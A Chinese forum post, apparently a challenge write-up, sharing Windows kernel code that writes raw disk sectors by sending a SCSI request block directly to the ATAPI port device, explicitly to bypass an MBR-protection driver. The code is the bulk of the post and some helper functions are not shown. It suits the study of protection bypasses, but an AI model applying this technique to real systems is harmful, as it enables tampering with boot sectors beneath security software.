大牛们都发代码了,我也来凑凑热闹吧~
3,4,5题没什么意思了,发下第一题的关键部分吧~
思路比较常规,向atapi发srb,但是过不了所谓的第二层保护。其实最早的时候是准备还原改过的DeviceObject的,代码很简单,后来以为这样做不符合题意,就换了这个复杂的代码...没想到简单的代码反而更有效,呵呵~
代码:
NTSTATUS DiWriteDisk(IN ULONG StartSector, IN PVOID Buffer, IN ULONG Length) { NTSTATUS status; UNICODE_STRING DriverName; PDRIVER_OBJECT DriverObject; PDEVICE_OBJECT Fdo; PDEVICE_OBJECT nextDevObj; PDEVICE_OBJECT final; PCOMMON_DEVICE_EXTENSION commonExtension; PIO_STACK_LOCATION nextSp; PTRANSFER_PACKET pkt; LARGE_INTEGER startLoc; PUCHAR bufPtr; KEVENT event; PMDL Mdl; // // Open the device object to receive the IRP // RtlInitUnicodeString(&DriverName, DISK); status = ObReferenceObjectByName(&DriverName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, &DriverObject); if (!NT_SUCCESS(status)) return status; status = DiGetPhysicsDevice(&Fdo, DriverObject); if (!NT_SUCCESS(status)) { ObDereferenceObject(DriverObject); return status; } // // Lock the buffer // Mdl = IoAllocateMdl(Buffer, Length, FALSE, TRUE, NULL); if (Mdl == NULL) { ObDereferenceObject(DriverObject); return STATUS_INSUFFICIENT_RESOURCES; } MmProbeAndLockPages(Mdl, KernelMode, IoReadAccess); bufPtr = MmGetMdlVirtualAddress(Mdl); // // Allocate PKT and initize it // pkt = ClassPnp_DequeueFreeTransferPacket(Fdo, TRUE); if (NULL == pkt) { ObDereferenceObject(DriverObject); MmUnlockPages(Mdl); return STATUS_INSUFFICIENT_RESOURCES; } startLoc.QuadPart = StartSector * 512; Mine_SetupReadWriteTransferPacket(pkt, bufPtr, Length, startLoc, IRP_MJ_WRITE, IRP_NOCACHE | IRP_WRITE_OPERATION | IRP_DEFER_IO_COMPLETION, SL_OVERRIDE_VERIFY_VOLUME); // // Initize some fields in our pkt // commonExtension = pkt->Fdo->DeviceExtension; nextDevObj = commonExtension->LowerDeviceObject; IoReuseIrp(pkt->Irp, STATUS_NOT_SUPPORTED); nextSp = IoGetNextIrpStackLocation(pkt->Irp); nextSp->MajorFunction = IRP_MJ_SCSI; nextSp->Parameters.Scsi.Srb = &pkt->Srb; pkt->Srb.ScsiStatus = pkt->Srb.SrbStatus = 0; pkt->Srb.SenseInfoBufferLength = sizeof(SENSE_DATA); pkt->Irp->MdlAddress = Mdl; // // Prepare our complete event // KeInitializeEvent(&event, SynchronizationEvent, FALSE); IoSetCompletionRoutine(pkt->Irp, DiWriteIoCompletion, &event, TRUE, TRUE, TRUE); // // Send our TransferPacket directly down, bypass mbrprot // status = DiGetPortDevice(&final, nextDevObj); if (!NT_SUCCESS(status)) goto Cleanup; status = IoCallDriver(final, pkt->Irp); if (STATUS_PENDING == status) KeWaitForSingleObject(&event, Executive, KernelMode, TRUE, NULL); status = pkt->Irp->IoStatus.Status; Cleanup: MmUnlockPages(Mdl); IoFreeMdl(Mdl); ObDereferenceObject(DriverObject); return status; }